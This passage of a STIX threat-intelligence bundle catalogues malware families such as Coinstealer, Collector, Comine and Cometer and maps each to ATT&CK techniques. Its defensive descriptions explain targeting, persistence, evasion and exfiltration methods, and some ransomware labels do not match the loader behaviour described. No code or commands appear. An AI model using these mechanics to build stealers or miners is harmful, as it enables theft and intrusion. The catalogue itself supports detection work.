or Telegram bots. (Observed samples in benchmark: 52)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Coinstealer",
        "Trojan:Win32/Coinstealer!rfn",
        "Trojan.CoinStealer",
        "Win32/Coinstealer",
        "CryptoStealer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Coinstealer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/coinstealer"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa8b0b6c-5e1d-5845-b790-84dfcf7c4d24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f543df25-b7bb-5c80-ba7c-dbeb6ab7ddaa",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coinstealer exhibits technique T1555 (Credentials from Password Stores)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7274ea42-4d74-552f-a8ad-61897816d62b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f543df25-b7bb-5c80-ba7c-dbeb6ab7ddaa",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coinstealer exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3e6bbb8d-5d62-58eb-834c-55ea6022a3ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f543df25-b7bb-5c80-ba7c-dbeb6ab7ddaa",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coinstealer exhibits technique T1005 (Data from Local System)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5546caea-60ef-5eaf-ae3a-f79659f867d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f543df25-b7bb-5c80-ba7c-dbeb6ab7ddaa",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coinstealer exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b036cba2-9d72-59af-a8c3-cd098a9e5e76",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f543df25-b7bb-5c80-ba7c-dbeb6ab7ddaa",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coinstealer exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e914a0d9-672e-5a10-a0fd-c67b48a03a7c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Collector",
      "description": "Spyware:Win32/Collector is a specialized Information Stealer (Infostealer) trojan designed to silently harvest and exfiltrate highly specific sets of data from infected endpoints. Unlike broad keyloggers, Collector often targets specific configuration files, proprietary databases, saved web browser credentials, and cryptocurrency wallet `.dat` files, packaging the stolen data for exfiltration.<br><br><b>Understanding the Collector Spyware</b><br>To an end-user, a Collector infection is entirely invisible. The system continues to function normally. For a security analyst, a Collector detection is a critical data breach event. The malware is designed for rapid execution; it 'smash and grabs' the targeted files and immediately exfiltrates them, often completing its objective within seconds of execution.<br><br><b>Execution and Data Harvesting Mechanics</b><br>Collector is typically distributed via weaponized phishing attachments (`T1566.001`) or as a secondary payload dropped by an Initial Access Broker. Upon execution (`T1204.002`), it attempts to evade detection by disabling local antivirus (`T1562.001`). It systematically searches the hard drive for specific file extensions (`T1083`) or queries the SQLite databases used by Chromium and Firefox browsers to store saved passwords and cookies (`T1555.003`). It specifically targets directories known to house cryptocurrency wallets (e.g., `%AppData%\\Bitcoin`). The harvested data is compressed into an archive and exfiltrated via HTTP POST requests to a Command and Control (C2) server or a Telegram bot channel (`T1048.003`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the catastrophic loss of user credentials, sensitive proprietary data, and potentially financial theft (if crypto wallets are stolen). EDR logs will flag an anomalous process accessing multiple database files (`Login Data`, `Cookies`, `wallet.dat`) in rapid succession. Network IoCs include a brief burst of outbound HTTP/HTTPS traffic containing an encrypted archive immediately following the execution of an unknown binary. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Collector",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/collector"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--672f93b5-7d11-5ed6-8154-cd6486a3768d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e914a0d9-672e-5a10-a0fd-c67b48a03a7c",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Collector exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e87edf1-92e8-5c8c-952c-41e64532fa9e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e914a0d9-672e-5a10-a0fd-c67b48a03a7c",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Collector exhibits technique T1083 (File and Directory Discovery (Searching for targeted files))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dcdabdf8-2f36-54d9-a1cc-32bf8a382552",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e914a0d9-672e-5a10-a0fd-c67b48a03a7c",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Collector exhibits technique T1048.003 (Exfiltration Over Alternative Protocol (Telegram API / HTTP POST))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83f3fa77-7a21-596c-a9c3-44dd20e6b6a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e914a0d9-672e-5a10-a0fd-c67b48a03a7c",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Collector exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--15fc23fa-f232-5400-83c4-57da3c3fba89",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Coma",
      "description": "The Coma virus is a vintage MS-DOS file infector known for its simplistic yet disruptive payload. Operating as a non-resident parasitic virus, Coma searches the current directory for uninfected .COM executables whenever an infected file is executed. Upon locating a suitable target, it appends its relatively small viral code to the end of the file and modifies the header to redirect the initial execution flow to the virus body. The virus earns its name from its disruptive payload: under specific, pseudo-random conditions tied to the system clock or execution count, Coma attempts to halt the system or place it into an unresponsive state, essentially putting the machine in a coma. While lacking advanced polymorphic encryption or stealth techniques, Coma represents the early days of malware development where direct file modification and immediate, visible disruption were the primary goals of virus authors. It is effectively extinct in modern environments. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "virus"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "DOS.Coma"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Coma",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/coma"
        }
      ],
      "labels": [
        "file_infector",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c76f19ed-c385-5d9d-9a32-a8fe66c42c71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--15fc23fa-f232-5400-83c4-57da3c3fba89",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coma exhibits technique T1485 (Data Destruction)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f4038570-8082-58e4-8e2d-ceca639d8c8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Comei",
      "description": "Trojan:Win32/Comei is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Comei</b><br>To an end-user, a Comei infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Comei is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Comei is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Comei frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Comei reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Comei",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/comei"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9ec9858-d42d-50e4-bf67-b9efcd624e5d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f4038570-8082-58e4-8e2d-ceca639d8c8b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Comei exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4edd94f-4303-5f09-8dbf-d82e38668d9e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f4038570-8082-58e4-8e2d-ceca639d8c8b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Comei exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5160bef7-8f7d-5b20-97a7-f3c9652b428f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f4038570-8082-58e4-8e2d-ceca639d8c8b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Comei exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e4fc21f2-3885-5b61-b303-216491073bf9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f4038570-8082-58e4-8e2d-ceca639d8c8b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Comei exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0ed7e50-9981-5726-b3bb-5135b635cbf3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f4038570-8082-58e4-8e2d-ceca639d8c8b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Comei exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--847edcee-6af1-5955-a1a5-3115624a5c8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cometer",
      "description": "Cometer (cataloged across security intelligence feeds under signatures such as Backdoor:Win32/Cometer, Trojan:Win32/Cometer, and Backdoor.Win32.Cometer) is a prominent remote access trojan (RAT) and backdoor closely related to the DarkComet codebase, active since 2012. Engineered to grant threat actors total interactive control over compromised Windows endpoints, Cometer is typically delivered through trojanized software downloads, weaponized file archives, and phishing emails. Once active, Cometer establishes persistence via Windows registry Run keys, opens an encrypted reverse TCP communication channel to remote command servers, and initializes surveillance modules including keystroke logging, webcam and microphone capture, live desktop streaming, remote file management, and process manipulation. (Observed samples in benchmark: 37)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Cometer",
        "Trojan:Win32/Cometer",
        "Backdoor.Win32.Cometer",
        "Win32/Cometer",
        "Trojan.Cometer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cometer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cometer"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--84eee732-64ac-51b1-b0c2-9a2eb7b3f36a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Comine",
      "description": "Coinminer:Win32/Comine (or Trojan:Win32/Comine) is a malicious cryptomining application designed to silently hijack the CPU and GPU resources of infected systems. Its sole purpose is to generate cryptocurrency (most commonly Monero) for the attacker, operating entirely in the background without the victim's knowledge or consent (`T1496`).<br><br><b>Understanding Comine (Cryptominers)</b><br>To an end-user, a Comine infection manifests as severe system sluggishness. The computer's fans may spin loudly even when idle, the battery drains rapidly, and applications take unusually long to load. For an IT department, cryptominers are a significant drain on corporate resources, increasing electricity costs, shortening hardware lifespans due to thermal stress, and disrupting business operations due to resource starvation.<br><br><b>Execution and Resource Hijacking</b><br>Comine is often distributed via exploit kits, dropped by other malware (like botnets or downloaders), or bundled with pirated software. Upon execution, it establishes persistence, often via Scheduled Tasks or WMI event subscriptions. It drops the mining binary (often a modified, obfuscated version of XMRig). To evade detection, it often uses Process Hollowing (`T1055.012`), injecting the mining code into a legitimate process like `notepad.exe` or `svchost.exe`. It may also monitor Task Manager (`taskmgr.exe`) and temporarily pause mining when the user opens it, attempting to hide the CPU spike (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is primarily financial (electricity costs) and operational (hardware degradation). Host-based IoCs include persistent 90-100% CPU/GPU utilization by seemingly legitimate processes, rapid battery drain, and EDR alerts for process injection. Network IoCs are highly distinct: continuous outbound connections using the Stratum protocol (often over ports 3333, 4444, or 8080) communicating with known cryptocurrency mining pools. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Comine",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/comine"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10f67ddd-f1a4-5e7a-acff-ab48fc3e0b92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84eee732-64ac-51b1-b0c2-9a2eb7b3f36a",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Comine exhibits technique T1496 (Resource Hijacking (The core function of stealing CPU/GPU cycles for mining))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed8bebb6-ae99-550e-ada0-df998a0d98b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84eee732-64ac-51b1-b0c2-9a2eb7b3f36a",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Comine exhibits technique T1055.012 (Process Injection: Process Hollowing (Hiding the miner inside legitimate Windows processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1f99ed0-4e59-58cc-85d0-98cfe9e55119",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84eee732-64ac-51b1-b0c2-9a2eb7b3f36a",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Comine exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Pausing execution when Task Manager is opened))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bb33ecdd-c3b1-5a6a-a72b-2ec9211dbb9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Comisproc",
      "description": "Trojan:Win32/Comisproc is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Comisproc</b><br>To an end-user, a Comisproc infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Comisproc is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Comisproc is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Comisproc frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Comisproc reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Comisproc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/comisproc"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42ca7ed5-cf3d-5b80-bbc3-a52c4234a999",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bb33ecdd-c3b1-5a6a-a72b-2ec9211dbb9a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Comisproc exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a1d97ea6-0e81-5cdc-881c-9a6fc8cf0bd1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bb33ecdd-c3b1-5a6a-a72b-2ec9211dbb9a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Comisproc exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7ef0246-35d2-5b6a-93bc-203734435c08",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bb33ecdd-c3b1-5a6a-a72b-2ec9211dbb9a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Comisproc exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e09cffb4-1ab4-5ba1-ba68-f2e332ba40de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bb33ecdd-c3b1-5a6a-a72b-2ec9211dbb9a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Comisproc exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d0c1c860-9478-565f-b6b8-3e899b75e2aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bb33ecdd-c3b1-5a6a-a72b-2ec9211dbb9a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Comisproc exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a8c54ae5-b7e8-5f69-b136-fcf4f9beeae4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Commandcam",
      "description": "<h3>Executive Summary</h3>\nCommandCam is a specialized command-line utility designed to silently capture images from a connected webcam. While it has legitimate uses in automated kiosk environments or security setups, it is overwhelmingly classified as a \"HackTool\" or Spyware when deployed maliciously. Cybercriminals and Advanced Persistent Threat (APT) groups deploy CommandCam post-compromise to conduct physical surveillance on high-value targets, violate privacy, or gather intelligence for extortion.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nCommandCam is not a self-propagating worm or Trojan. It is a secondary payload. It is typically dropped onto a system by an initial Remote Access Trojan (RAT) or manually executed by an attacker who has already established a reverse shell or RDP connection to the victim's machine.\n\nIts technical operation is focused entirely on covert hardware manipulation:\n<ul>\n<li><strong>Silent Execution:</strong> The tool is executed via the command line (or a hidden batch script). Crucially, it is designed to activate the webcam, capture a frame, and save the image to disk *without* triggering the standard Windows UI prompts or, in some cases, attempting to bypass the physical LED indicator light on the camera.</li>\n<li><strong>Automated Surveillance:</strong> Attackers often configure CommandCam to run as a hidden Scheduled Task, automatically taking photos of the user every few minutes.</li>\n<li><strong>Data Exfiltration:</strong> The captured `.bmp` or `.jpg` images are saved to a hidden directory. The parent RAT or a separate exfiltration script then uploads these images to an attacker-controlled server.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of CommandCam in a corporate or government environment is a severe privacy violation and a strong indicator of a targeted, human-driven espionage campaign. It confirms that the attacker has deep, interactive control over the endpoint hardware.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Trace the Execution:</strong> CommandCam is a symptom, not the root cause. Incident responders must use EDR telemetry to identify the parent process that spawned `CommandCam.exe`. This will reveal the primary backdoor or RAT that the attacker is using to control the system.</li>\n<li><strong>Hardware Disablement:</strong> As an immediate mitigation during investigation, physical webcams should be covered, or the camera device should be disabled at the BIOS/UEFI level or via Windows Device Manager across the enterprise.</li>\n<li><strong>System Re-imaging:</strong> Because the presence of this tool indicates a deep, interactive compromise by a human operator, the machine cannot be trusted. It must be completely wiped and re-imaged.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.CommandCam",
        "Spyware.Webcam",
        "Tool.CamCapture"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Commandcam",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/commandcam"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--45337b4d-9a80-5c07-8355-50ec9c658b78",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8c54ae5-b7e8-5f69-b136-fcf4f9beeae4",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Commandcam exhibits technique T1125 (Video/Audio Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d00e1da5-c417-5dea-987b-9c0e853b180e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8c54ae5-b7e8-5f69-b136-fcf4f9beeae4",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Commandcam exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f462768-a7d2-52b6-864f-12b5a887a2c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8c54ae5-b7e8-5f69-b136-fcf4f9beeae4",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
